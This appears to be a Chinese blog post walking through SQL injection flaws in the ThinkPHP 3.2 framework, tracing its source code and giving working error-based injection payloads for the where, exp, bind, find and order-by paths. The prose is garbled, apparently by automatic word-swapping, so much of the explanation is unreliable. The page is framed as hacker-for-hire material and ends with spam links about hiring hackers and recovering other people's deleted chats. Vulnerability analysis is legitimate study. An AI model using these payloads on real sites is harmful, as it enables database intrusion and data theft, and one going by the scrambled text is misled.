ThinkPHP系统漏洞剖析

hacker5年前关于黑客接单1055

一、序言

ThinkPHP的系统漏洞剖析文章内容有很多,这儿我只是想一件事学习培训的全过程开展一个纪录,有点儿菜,期待巨头不必喷我。

二、where引入

在控制板中,写个demo,运用字符串数组 *** 做为where传参时存有引入

public function  getuser(){
    $user = M('User')->where('id='.I('id'))->find();
    dump($user);
}

在自变量user地区开展中断点,PHPSTROM F7进到,I方式获得传到的主要参数

switch(strtolower($method)) {
        case 'get'     :   
                $input =& $_GET;
                break;
        case 'post'    :   
                $input =& $_POST;
                break;
        case 'put'     :   
                if(is_null($_PUT)){
                    parse_str(file_get_contents('php://input'), $_PUT);
                }
                $input         =        $_PUT;        
                break;
        case 'param'   :
            switch($_SERVER['REQUEST_METHOD&#
39;]) {
                case 'POST':
                    $input  =  $_POST;
                    break;
                case 'PUT':
                        if(is_null($_PUT)){
                            parse_str(file_get_contents('php://input'), $_PUT);
                        }
                        $input         =        $_PUT;
                    break;
                default:
                    $input  =  $_GET;
            }
            break;
 ......

重中之重看过虑涵数

 

先运用htmlspecialchars涵数过虑主要参数,在402行运用think_filter涵数过虑基本sql函数

function think_filter(&$value){
        // TODO 别的安全性过虑

        // 过虑查寻特殊符号
    if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){
        $value .= ' ';
    }
}

在where方式中,将$where的值放进到options["where"]数字能量数组中

 

再次跟踪查询find方式,第748行

$options     =   $this->_parseOptions($options);

在数字能量数组$options中提升'table'=>'tp_user','model'=>'User',接着F7跟踪select方式

public function select($options=array()) {
        $this->model  =   $options['model'];
        $this->parseBind(!empty($options['bind'])?$options['bind']:array());
        $sql    = $this->buildSelectSql($options);
        $result   = $this->query($sql,!empty($options['fetch_sql']) ? true : false);
        return $result;
}

跟踪buildSelectSql方式,再次在跟踪parseSql方式,这儿能够 见到转化成详细的sql语句

 

这儿关键查询parseWhere方式

 

跟踪parseThinkWhere方式

protected function parseThinkWhere($key,$val) {
        $whereStr   = '';
        switch($key) {
            case '_string':
                // 字符串数组方式查询条件
                $whereStr = $val;
                break;
            case '_complex':
                // 复合型查询条件
                $whereStr = substr($this->parseWhere($val),6);
                break;

$key为_string,因此$whereStr为传到的主要参数的值,最终parserWhere方式回到(id=1p),因此最后payload为

1) and 1=updatexml(1,concat(0x7e,(user()),0x7e),1)-- 

 

三、exp引入

系统漏洞demo,这儿应用全局性数字能量数组开展传参(不能用I方式),系统漏洞才可以起效

public function  getuser(){
        $User = D('User');
        $map = array('id' => $_GET['id']);
        $user = $User->where($map)->find();
        dump($user);
}

立即在$user开展中断点,F7跟踪,绕过where方式,跟踪find->select->buildSelectSql->parseSql->parseWhere

 

跟踪parseWhereItem方式,这时主要参数$val为一个数字能量数组,{'exp','sql注入exp'}

 

这时当$exp考虑exp时,将主要参数合值就可以了拼凑,因此最后paylaod为

id[0]=exp&id[1]==1 and 1=(updatexml(1,concat(0x7e,(user()),0x7e),1))-- 

 

上边对于为什么不可以用I方式,缘故是在过虑涵数think_filter里能配对到exp标识符,因此在exp标识符后边加了一个空格符,造成在parseWhereItem方式中没法相当于exp。

if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value))

四、bind引入

系统漏洞demo

public function  getuser(){
        $data['id'] = I('id');
        $uname['username'] = I('username');
        $user = M('User')->where($data)->save($uname);
        dump($user);
}

F8跟踪save方式

 

转化成sql语句在update方式中

public function update($data,$options) {
        $this->model  =   $options['model'];
     &
nbsp;  $this->parseBind(!empty($options['bind'])?$options['bind']:array());
        $table  =   $this->parseTable($options['table']);
        $sql   = 'UPDATE ' . $table . $this->parseSet($data);
        if(strpos($table,',')){// 多表升级适用JOIN实际操作
            $sql .= $this->parseJoin(!empty($options['join'])?$options['join']:'');
        }
        $sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');
        if(!strpos($table,',')){
            //  单表升级适用order和lmit
            $sql   .=  $this->parseOrder(!empty($options['order'])?$options['order']:'')
                .$this->parseLimit(!empty($options['limit'])?$options['limit']:'');
        }
        $sql .=   $this->parseComment(!empty($options['comment'])?$options['comment']:'');
        return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);
    }

在parseSet方式中,能够 将传到的主要参数换成:0

 

在bindParam方式中,$this->bind特性回到array(':0'=>变量值)

protected function bindParam($name,$value){
       &nb
sp;$this->bind[':'.$name]  =   $value;
}

再次跟踪parseWhere->parseWhereItem方式,当exp为bind时,便会在变量值前边加个灶具(:)

 

因为在sql语句中有灶具,再次跟踪excute方式,这儿将:0换成了第二个主要参数的值

 

因此最后的payload为

id[0]=bind&id[1]=0 and 1=(updatexml(1,concat(0x7e,(user()),0x7e),1))&username=fanxing

 

五、find/select/delete引入

先剖析find引入,在控制板中写个系统漏洞demo

public function getuser(){
    $user = M('User')->find(I('id'));
    dump($user);
}

当传到id[where]=1p情况下,在user开展中断点,F7跟踪find->_parseOptions方式

 

$options['where']为字符串数组,造成不可以实行_parseType方式转换数据信息,开展跟踪select->buildSelectSql->parseSql->parseWhere方式,传到的$where为字符串数组,立即实行了if语句

protected function parseWhere($where) {
        $whereStr = '';
        if(is_string($where)) {
            // 立即应用字符串数组标准
            $whereStr = $where;
            ......
&
nbsp;       }
        return empty($whereStr)?'':' WHERE '.$whereStr;

当传到id=1p,就不可以开展引入了,实际缘故在find->_parseOptions->_parseType方式,将传到的主要参数开展了强转换为整形美容

 

因此,payload为

?id[where]=1 and 1=updatexml(1,concat(0x7e,(user()),0x7e),1)

 

select和delete基本原理同find方式一样,仅仅delete方式多提升了一个分辨是不是为空

if(empty($options['where'])){
            // 假如标准为空 不开展删掉实际操作 除非是设定 1=1
            return false;
        }        
        if(is_array($options['where']) && isset($options['where'][$pk])){
            $pkValue            =  $options['where'][$pk];
        }

        if(false === $this->_before_delete($options)) {
            return false;
        }   

六、order by引入

先在控制板中写个系统漏洞demo

public function user(){
    $data['username'] = array('eq','admin');
    $user = M('User')->where($data)->order(I('order'))->find();
    dump($user);
}

在user自变量处中断点,F7跟踪,find->select->buildSelectSql->parseSql方式

$this->parseOrder(!empty($options['order'])?$options['order']:''),

当$options['order']主要参数参在时,跟踪parseOrder ***

 

当不以数字能量数组时,立即回到order by 引入pyload,因此引入payload为

order=id and(updatexml(1,concat(0x7e,(select user())),0))

 

七、缓存文件系统漏洞

*** 黑客接单子实例教程在ThinkPHP3.2中,缓存文件涵数有F方式和S方式,2个方式有什么不同呢,官方网详细介绍以下

F方式:等于PHP内置的file_put_content和file_get_content涵数,沒有过多存有时间的概念,是文档存储数据信息的 *** 。常见于文档配备。
S方式:文档缓存文件,有性命时间,時间期满后缓存文件內容会获得升级。常见于单网页页面data缓存文件。

这儿F方式也不详细介绍了,直接看S方式

public function test(){
    S('name',I('test'));
}

跟踪查询S方式

 

set方式写入缓存

 

跟踪filename方式,此方式获得载入文档的相对路径,储存在../Application/Runtime/Temp文件目录下

private function filename($name) {
        $name        =        md5(C('DATA_CACHE_KEY').$name);
        if(C('DATA_CACHE_SUBDIR')) {
            // 应用根目录
            $dir   ='';
            for($i=0;$i<C('DATA_PATH_LEVEL');$i  ) {
                $dir        .=        $name{$i}.'/';
            }
            if(!is_dir($this->options['temp'].$dir)) {
                mkdir($this->options['temp'].$dir,0755,true);
            }
            $filename        =        $dir.$this->options['prefix'].$name.'.php';
        }else{
            $filename        =        $this->options['prefix'].$name.'.php';
        }
        return $this->options['temp'].$filename;
    }

并将S传到的name开展md5值做为文件夹名称,最后根据file_put_contents函数载入文档。

相关文章

选择御前十味小碗菜加盟怎么样?

选择御前十味小碗菜加盟怎么样?

御前十味加盟总用度是几多?选择御前十味加盟怎么样?御前十味加盟总部给以哪些扶持吗?在相识了御前十味小碗菜的产物之后,越来越多的加盟商同伴来到我们91创业网站内询问御前十味小碗菜的相关,在这里,我们小编...

怎么查询老板QQ已删聊天记录

孩子说话发音不清家长会耐心的去教,不过孩子口齿不清是不是因为舌系带呢,孩子说不清楚话应该切舌系带吗,友谊长存小编就来说说吧。 01什么是舌系带? 舌系带,俗称舌筋,即孩子张开口翘起舌头时在舌和口底...

为什么要用区块链技术,改进国家传染病监测预警体系?

为什么要用区块链技术,改进国家传染病监测预警体系?

笔者在最近连续写了两篇关于利用区块链技术改进和优化传染病预警系统的文章:《用区块链技术改进国家级传染病监测预警网络》和《用区块链建设“区域基层联动预警网络”》 。文章发布后很多感兴趣的朋友联系我,大家...

阴阳师魂土挂机阵容怎么搭配 阴阳师魂土挂机阵容搭配推荐

阴阳师魂土挂机阵容怎么搭配 阴阳师魂土挂机阵容搭配推荐

在阴阳师游戏中魂土挂机阵容可以说是挖煤非常重要的配置,那么阴阳师魂土挂机阵容怎么搭配呢?下面小编就为大家带来阴阳师魂土挂机阵容搭配推荐,小伙伴们跟小编一起去看看介绍吧。 阴阳师魂土挂机阵容搭配推荐...

网上找黑客「求黑客高手帮忙追款」

  如何找正规的黑客(找黑客一般费用多少)   我国最小的"黑客",由于作业太多,黑出了学校网站,现状如何?   随着互联网技术的飞速发展,人们接触的对象越来越多,比如计算机,它可以帮助人们做很多事情...

怎么找回亲戚删除微信聊天记录

“愿此间,山有木兮卿有意,昨夜星辰恰似你,身无双翼,却心有一点灵犀......”一首《山有木兮》红遍大江南北,而它的原唱正是知名古风唱见伦桑。作为一名“老二次元”,伦桑近日联合虎牙定制了首个虚拟形象,...